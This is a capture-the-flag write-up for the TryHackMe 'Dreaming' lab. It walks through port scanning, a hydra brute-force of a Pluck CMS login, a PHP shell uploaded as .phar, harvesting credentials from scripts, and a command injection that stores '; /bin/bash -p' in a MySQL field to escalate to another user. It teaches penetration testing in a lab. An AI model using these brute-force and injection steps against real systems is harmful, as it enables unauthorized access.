Dreaming Writeup
TryHackMe Dreaming Easy Challenge Writeup
Challenge description:
While the king of dreams was imprisoned, his home fell into ruins.
Can you help Sandman restore his kingdom?
Rustscan
In any TryHackMe challenge room, we can use Rustscan/Nmap to check the ports on the Dreaming machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Command: rustscan -a TARGET_IP -- -A
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDwLHu8L86UCKGGVbbYL07uBhmOh9hWLPtBknNwMgULG3UGIqmCT3DywDvtEYZ/6D97nrt6PpsVAu0/gp73GYjUxvk4Gfog9YFShodiB/VJqK4RC23h0oNoAElSJajjEq6JcVaEyub6w8Io50fk4nNhf8dPx0YSaRjKANr9mET6s+4cUNBAF/DknsZw6iYtafzxIQTAtgSX6AtXTXRf5cpdF02wwYvUo1jVSYdXL+Oqx19UADVhQib4Pt5gLAiwuFkoJjnN1L6xwkTjd+sUPVlhQ/6yHfB826/Qk55DWoUrnABfe+3jngyPvjl1heYDuPx01rtDvlDDGAwvriwR7XmX+8X7MZ9E9QOx/m2gEHZ83kuJ9jNLB6WjlqCyA4Zes+oHWbM9Q/nJ/UVQGdfcDS65edQ5m/fw2khqUbCeSFcuD3AQvUJvvFrfg/eTNnhpee/WYJjyZO70tlzhaT/oJheodQ1hQyfgnjwToy/ISHn9Yp4jeqrshBUF87x9kUuLV0=
| 256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCmisKYJLewSTob1PZ06N0jUpWdArbsaHK65lE8Lwefkk3WFAwoTWvStQbzCJlo0MF+zztRtwcqmHc5V7qawS8E=
| 256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK3j+g633Muvqft5oYrShkXdV0Rjn2S1GQpyXyxoPJy0
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Seems like there are two ports: 22 (SSH) and 80 (HTTP).
HTTP(80)
Let’s check the HTTP (port 80) website.
Hmm, seems like there is nothing on the default page and on the page source. Let’s use dirsearch to search for directories (directory enumeration).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Command: dirsearch -u TARGET_IP
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/REDACTED/Desktop/reports/http_10.10.REDACTED/__25-07-17_16-26-37.txt
Target: http://10.10.REDACTED/
[16:26:37] Starting:
[16:26:51] 403 - 277B - /.ht_wsr.txt
[16:26:51] 403 - 277B - /.htaccess.bak1
[16:26:51] 403 - 277B - /.htaccess.orig
[16:26:51] 403 - 277B - /.htaccess.sample
[16:26:51] 403 - 277B - /.htaccess.save
[16:26:51] 403 - 277B - /.htaccess_orig
[16:26:51] 403 - 277B - /.htaccess_extra
[16:26:51] 403 - 277B - /.htaccessBAK
[16:26:51] 403 - 277B - /.htaccess_sc
[16:26:51] 403 - 277B - /.htaccessOLD
[16:26:51] 403 - 277B - /.htaccessOLD2
[16:26:51] 403 - 277B - /.htm
[16:26:51] 403 - 277B - /.html
[16:26:51] 403 - 277B - /.htpasswd_test
[16:26:51] 403 - 277B - /.httr-oauth
[16:26:51] 403 - 277B - /.htpasswds
[16:26:56] 403 - 277B - /.php
[16:27:37] 301 - 310B - /app -> http://10.10.REDACTED/app/
[16:27:37] 200 - 451B - /app/
[16:28:52] 403 - 277B - /server-status/
[16:28:52] 403 - 277B - /server-status
We see a folder called pluck-4.7.13
.
Pluck 4.7.13
When I click on the pluck-4.7.13
folder, it seems like it opens a pluck application (probably version 4.7.13). I tried finding an exploit for pluck version 4.7.13, but I couldn’t find anything for it.
LFI
When looking at the URL, it looks like the webpage might be vulnerable to LFI.
URL = http://TARGET_IP/app/pluck-4.7.13/?file=..//..//..//..//..//..//..//etc/passwd
URL = http://TARGET_IP/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd
Seems like the creator stopped any LFI attempts from working. So, as I always say, if you are stuck, EEEENNNNUUUMMMEEERRRAATTEEE!!!!
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Command: dirsearch -u TARGET_IP/app/pluck-4.7.13/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/REDACTED/Desktop/reports/http_10.10.REDACTED/_app_pluck-4.7.13__25-07-17_16-46-12.txt
Target: http://10.10.REDACTED/
[16:46:13] Starting: app/pluck-4.7.13/
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.ht_wsr.txt
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess.bak1
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess.save
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess.sample
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess_extra
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess.orig
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess_orig
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccess_sc
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccessBAK
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccessOLD
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htaccessOLD2
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.htm
[16:46:26] 403 - 277B - /app/pluck-4.7.13/.html
[16:46:27] 403 - 277B - /app/pluck-4.7.13/.htpasswd_test
[16:46:27] 403 - 277B - /app/pluck-4.7.13/.httr-oauth
[16:46:27] 403 - 277B - /app/pluck-4.7.13/.htpasswds
[16:46:30] 403 - 277B - /app/pluck-4.7.13/.php
[16:46:48] 200 - 1KB - /app/pluck-4.7.13/admin.php
[16:47:28] 301 - 328B - /app/pluck-4.7.13/data -> http://10.10.REDACTED/app/pluck-4.7.13/data/
[16:47:28] 200 - 48B - /app/pluck-4.7.13/data/
[16:47:32] 301 - 328B - /app/pluck-4.7.13/docs -> http://10.10.REDACTED/app/pluck-4.7.13/docs/
[16:47:32] 200 - 549B - /app/pluck-4.7.13/docs/
[16:47:39] 301 - 329B - /app/pluck-4.7.13/files -> http://10.10.REDACTED/app/pluck-4.7.13/files/
[16:47:39] 200 - 419B - /app/pluck-4.7.13/files/
[16:47:45] 200 - 420B - /app/pluck-4.7.13/images/
[16:47:45] 301 - 330B - /app/pluck-4.7.13/images -> http://10.10.REDACTED/app/pluck-4.7.13/images/
[16:47:47] 302 - 0B - /app/pluck-4.7.13/index.php -> http://10.10.REDACTED/app/pluck-4.7.13/?file=dreaming
[16:47:47] 302 - 0B - /app/pluck-4.7.13/index.php/login/ -> http://10.10.REDACTED/app/pluck-4.7.13/?file=dreaming
[16:47:48] 200 - 1KB - /app/pluck-4.7.13/install.php
[16:47:48] 200 - 1KB - /app/pluck-4.7.13/install.php?profile=default
[16:47:53] 200 - 700B - /app/pluck-4.7.13/login.php
[16:48:21] 200 - 2KB - /app/pluck-4.7.13/README.md
[16:48:24] 200 - 47B - /app/pluck-4.7.13/robots.txt
Robots.txt
Doesn’t seem like it contains much information that we don’t know already.
Login.php
Ahhhh, we have a login page! We only need a password and no username. We can use hydra to brute force the login. This part: cont1=^PASS^&bogus=&submit=Log+in
was captured using Caido (you can also use Burp Suite, Zap, etc.).
1
2
3
4
5
6
7
8
9
10
Command: hydra -l dummy -f -P /usr/share/wordlists/rockyou.txt TARGET_IP http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -vv
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-17 17:14:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.REDACTED:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[80][http-post-form] host: 10.10.REDACTED login: dummy password: REDACTED
[STATUS] attack finished for 10.10.REDACTED (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-17 17:14:16
We got the password!
Exploitation
We are now in the admin page (basically logged into admin), let us search for possible exploitations.
When first going into the admin panel, when clicking on the “pages” button, I saw a “manage files” page, which stuck out to me. When clicking on that button, it seems like I can upload files. Let’s try uploading some php files.
After trying shell.php
, shell.phtml
and shell.php5
, shell.phar
was the only one that didn’t change to a .txt
file. Let’s check it out and get a shell.
We got a shell!
Lucien
Let’s look for any files that seem important.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ip-10-10-REDACTED:/$ cd /home/lucien
cd /home/lucien
www-data@ip-10-10-REDACTED:/home/lucien$ ls
ls
lucien_flag.txt
www-data@ip-10-10-REDACTED:/home/lucien$ cat lucien_flag.txt
cat lucien_flag.txt
cat: lucien_flag.txt: Permission denied
www-data@ip-10-10-REDACTED:/home/lucien$ ls -la
ls -la
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 20:25 ..
-rw------- 1 lucien lucien 684 Aug 25 2023 .bash_history
-rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 2023 .local
-rw------- 1 lucien lucien 696 Aug 25 2023 .mysql_history
-rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 2023 .ssh
-rw-r--r-- 1 lucien lucien 0 Jul 28 2023 .sudo_as_admin_successful
-rw-rw---- 1 lucien lucien 19 Jul 28 2023 lucien_flag.txt
We can’t read anything important in Lucien’s home folder. Let’s keep looking.
1
2
3
4
5
6
7
8
9
www-data@ip-10-10-REDACTED:/home/lucien$ cd /opt
cd /opt
www-data@ip-10-10-REDACTED:/opt$ ls -la
ls -la
total 16
drwxr-xr-x 2 root root 4096 Aug 15 2023 .
drwxr-xr-x 20 root root 4096 Jul 17 07:21 ..
-rwxrw-r-- 1 death death 1574 Aug 15 2023 getDreams.py
-rwxr-xr-x 1 lucien lucien 483 Aug 7 2023 test.py
We have two python scripts in the /opt
directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
www-data@ip-10-10-REDACTED:/opt$ cat getDreams.py
cat getDreams.py
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
Death’s password seems to be redacted from this file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@ip-10-10-REDACTED:/opt$ cat test.py
cat test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "REDACTED"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
It seems like the password for Lucien is not redacted! Let’s try sshing into Lucien using this password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Command: ssh lucien@TARGET_IP
The authenticity of host '10.10.REDACTED (10.10.REDACTED)' can't be established.
ED25519 key fingerprint is SHA256:NqMD+YFQa7ajFXcRyZDHqVBkxdkI6vJ8AbSXWD7am0c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.REDACTED' (ED25519) to the list of known hosts.
{} {}
! ! II II ! !
! I__I__II II__I__I !
I_/|--|--|| ||--|--|\_I
.-'"'-. ! /|_/| | || || | |\_|\ ! .-'"'-.
/=== \ I//| | | || || | | |\\I /=== \
\== / ! /|/ | | | || || | | | \|\ ! \== /
\__ _/ I//| | | | || || | | | |\\I \__ _/
_} {_ ! /|/ | | | | || || | | | | \|\ ! _} {_
{_____} I//| | | | | || || | | | | |\\I {_____}
! ! |= |=/|/ | | | | | || || | | | | | \|\=|- | ! !
_I__I__|= ||/| | | | | | || || | | | | | |\|| |__I__I_
-|--|--|- || | | | | | | || || | | | | | | ||= |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--| ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-|| |--|--|-
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |- || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||- | | |
_|__|__| || | | | | | | || || | | | | | | ||= |__|__|_
-|--|--|= || | | | | | | || || | | | | | | || |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||= |--|--|-
jgs | |- || | | | | | | || || | | | | | | ||- | | |
~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
W e l c o m e, s t r a n g e r . . .
lucien@10.10.REDACTED's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 17 Jul 2025 08:39:19 AM UTC
System load: 0.0 Processes: 118
Usage of /: 54.2% of 11.21GB Users logged in: 0
Memory usage: 73% IPv4 address for ens5: 10.10.REDACTED
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Mon Aug 7 23:34:46 2023 from 192.168.1.102
lucien@ip-10-10-REDACTED:~$
We got into Lucien!!! Let’s get Lucien’s flag.
1
2
lucien@ip-10-10-REDACTED:~$ cat lucien_flag.txt
THM{REDACTED}
Death
Let’s check .bash_history for Lucien.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
lucien@ip-10-10-REDACTED:~$ ls -la
total 44
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 .
drwxr-xr-x 6 root root 4096 May 18 20:25 ..
-rw------- 1 lucien lucien 684 Aug 25 2023 .bash_history
-rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 2023 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 2023 .local
-rw-rw---- 1 lucien lucien 19 Jul 28 2023 lucien_flag.txt
-rw------- 1 lucien lucien 696 Aug 25 2023 .mysql_history
-rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 2023 .ssh
-rw-r--r-- 1 lucien lucien 0 Jul 28 2023 .sudo_as_admin_successful
lucien@ip-10-10-REDACTED:~$ cat .bash_history
ls
cd /etc/ssh/
clear
nano sshd_config
su root
cd ..
ls
cd ..
cd etc
ls
..
cd ..
cd usr
cd lib
cd python3.8
nano shutil.py
clear
clear
su root
cd ~~
cd ~
clear
ls
mysql -u lucien -pREDACTED
ls -la
cat .bash_history
cat .mysql_history
clear
ls
ls -la
rm .mysql_history
clear
history
exit
clear
ls
clear
cd /opt
ls
clear
nano test.sh
ls -la
su root
ls
mv test.sh test.py
ls -la
history
nano ~/.bash_history
su root
clear
mysql -u lucien -p
clear
history
exit
clear
ls
history
cd ~~
cd ~
cat .bash_history
clear
ls
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
clear
mysql -u lucien -p
mysql -u root -p
su root
We got a mysql password and username, although it doesn’t seem like we can use it for now. Let’s check sudo -l.
1
2
3
4
5
6
7
lucien@ip-10-10-REDACTED:/opt$ sudo -l
Matching Defaults entries for lucien on ip-10-10-REDACTED:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucien may run the following commands on ip-10-10-REDACTED:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
It seems like we can run /usr/bin/python3
as Death for /home/death/getDreams.py
.
1
2
3
4
5
6
7
8
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
When running the command, it looks like an output for a getDreams.py
we found last time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
lucien@ip-10-10-REDACTED:/opt$ cat getDreams.py
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
It seems like the code is running a command echo with the “dreamer” and the “dream”. Let’s see if that has to do with mysql.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
lucien@ip-10-10-REDACTED:/opt$ mysql -u lucien -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| library |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.02 sec)
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | Flying in the sky |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
Seems like the mysql IS connected to the getDreams.py
file we found. We can actually set dream to ; /bin/bash -p
so that when the getDreams.py
file is executed, we become Death.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | Flying in the sky |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> UPDATE dreams SET dream= '; /bin/bash -p' WHERE dreamer='Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | ; /bin/bash -p |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> exit
Bye
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
death@ip-10-10-REDACTED:/opt$
We are now Death! Let’s get Death’s flag!
1
2
3
4
death@ip-10-10-REDACTED:/opt$ cd /home/death
death@ip-10-10-REDACTED:~$ ls
death@ip-10-10-REDACTED:~$ ls -la
death@ip-10-10-REDACTED:~$ cat /home/death/getDreams.py
Hmm, none of the commands we execute are working. Let’s try to use mysql to get Death’s password from /home/death/getDreams.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
lucien@ip-10-10-REDACTED:/opt$ mysql -u lucien -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 8.0.41-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | ; /bin/bash -p |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> UPDATE dreams SET dream= '; cat /home/death/getDreams.py' WHERE dreamer='Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream |
+---------+------------------------------------+
| Alice | ; cat /home/death/getDreams.py |
| Bob | Exploring ancient ruins |
| Carol | Becoming a successful entrepreneur |
| Dave | Becoming a professional musician |
+---------+------------------------------------+
4 rows in set (0.00 sec)
mysql> exit
Bye
lucien@ip-10-10-REDACTED:/opt$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice +
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "REDACTED"
DB_NAME = "library"
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
We got Death’s password! Let’s ssh.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
Command: ssh death@TARGET_IP
{} {}
! ! II II ! !
! I__I__II II__I__I !
I_/|--|--|| ||--|--|\_I
.-'"'-. ! /|_/| | || || | |\_|\ ! .-'"'-.
/=== \ I//| | | || || | | |\\I /=== \
\== / ! /|/ | | | || || | | | \|\ ! \== /
\__ _/ I//| | | | || || | | | |\\I \__ _/
_} {_ ! /|/ | | | | || || | | | | \|\ ! _} {_
{_____} I//| | | | | || || | | | | |\\I {_____}
! ! |= |=/|/ | | | | | || || | | | | | \|\=|- | ! !
_I__I__|= ||/| | | | | | || || | | | | | |\|| |__I__I_
-|--|--|- || | | | | | | || || | | | | | | ||= |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--| ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-|| |--|--|-
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |- || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||- | | |
_|__|__| || | | | | | | || || | | | | | | ||= |__|__|_
-|--|--|= || | | | | | | || || | | | | | | || |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||= |--|--|-
jgs | |- || | | | | | | || || | | | | | | ||- | | |
~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
W e l c o m e, s t r a n g e r . . .
death@10.10.REDACTED's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 17 Jul 2025 09:02:12 AM UTC
System load: 0.0 Processes: 118
Usage of /: 54.3% of 11.21GB Users logged in: 0
Memory usage: 73% IPv4 address for ens5: 10.10.REDACTED
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
